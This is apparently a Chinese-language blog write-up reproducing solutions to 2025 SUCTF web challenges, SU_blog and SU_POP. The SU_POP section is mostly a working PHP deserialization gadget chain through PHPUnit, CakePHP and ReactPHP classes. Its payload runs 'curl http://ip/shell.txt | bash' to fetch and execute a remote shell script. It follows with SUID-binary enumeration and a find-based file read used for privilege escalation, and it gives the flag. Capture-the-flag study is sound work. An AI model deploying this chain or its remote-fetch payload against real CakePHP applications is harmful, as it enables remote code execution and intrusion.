2025SUCTF 复现wp

2025SUCTF

Web

SU_blog

  • 首先注册,尝试admin,可以注册

image-20250117012238319

  • 后来发现这里是如果不是注册admin,是需要伪造cookie,爆破时间戳的,非预期了

image-20250117012514030

SU_POP

  • EXP
  • 参考一位师傅的EXP,先记录着,还没来得及仔细分析链子的细节和项目结构,后面和cakephp放一起分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
namespace PHPUnit\Framework\MockObject\Generator;

class MockClass
{
public $classCode;
public $mockName;
public function __construct() {
$this->classCode ="system('curl http://ip/shell.txt | bash');";
$this->mockName = "XU17";
}
}

namespace Cake\ORM;

use PHPUnit\Framework\MockObject\Generator\MockClass;

class BehaviorRegistry
{
public $_methodMap;
public $_loaded;

public function __construct() {
$this->_methodMap = ["rewind" => ["XU17", "generate"]];
$this->_loaded = ["XU17" => new MockClass()];
}
}

class Table
{
public $_behaviors;
public function __construct() {
$this->_behaviors = new BehaviorRegistry();
}
}

namespace Cake\Http;

use Cake\ORM\Table;

class Response
{
public $stream;
public function __construct() {
$this->stream = new Table();
}
}

namespace React\Promise\Internal;

use Cake\Http\Response;

final class RejectedPromise
{
public $reason;
public function __construct() {
$this->reason = new Response();
}
}

$a=new RejectedPromise();
echo base64_encode(serialize($a));

image-20250123015618963

1
find / -perm -u=s -type f 2>/dev/null
1
find . -exec cat /f* \;

image-20250123015721472

1
SUCTF{PoP_CHaiN5_@Re_SO_fUn!!!}

2025SUCTF 复现wp
https://xu17.top/2025/01/18/2025SUCTF/
作者
XU17
发布于
2025年1月18日
许可协议
XU17